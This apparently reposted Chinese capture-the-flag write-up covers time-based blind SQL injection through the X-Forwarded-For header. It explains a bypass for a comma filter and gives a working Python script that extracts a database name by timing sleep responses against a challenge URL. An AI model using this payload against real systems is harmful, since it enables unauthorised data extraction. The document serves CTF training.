HTTP头sleep延迟注入

http://123.206.87.240:8002/web15

无回显,通过http header里的X-Forwarded-For字段进行sleep注入。

源码过滤了 ',' 那么相应的if语句可以替换为select case when xxx then xxx else 0 end

substr和substring里使用from 1 for 1代替','

 1 # -*- coding:utf-8 -*-
 2 import requests
 3 import sys
 4     
 5 data = "127.0.0.1'+(select case when substr((database()) from {0} for 1)='{1}' then sleep(6) else 0 end))-- +"
 6 url = 'http://123.206.87.240:8002/web15/'
 7 result = ''
 8 for i in range(1, 10):
 9     print'Guessing:', str(i)
10     for ch in range(33, 129):
11         if ch == 128:
12             sys.exit(0)
13         sqli = data.format(i, chr(ch))
14         print(sqli)
15         header = {
16             'X-Forwarded-For': sqli
17         }
18         try:
19             html = requests.get(url, headers=header, timeout=4)
20         except:
21             result += chr(ch)
22             print 'result: ',result
23             break

 

转载于:https://www.cnblogs.com/Aiden-/p/10952514.html

你可能感兴趣的:(HTTP头sleep延迟注入)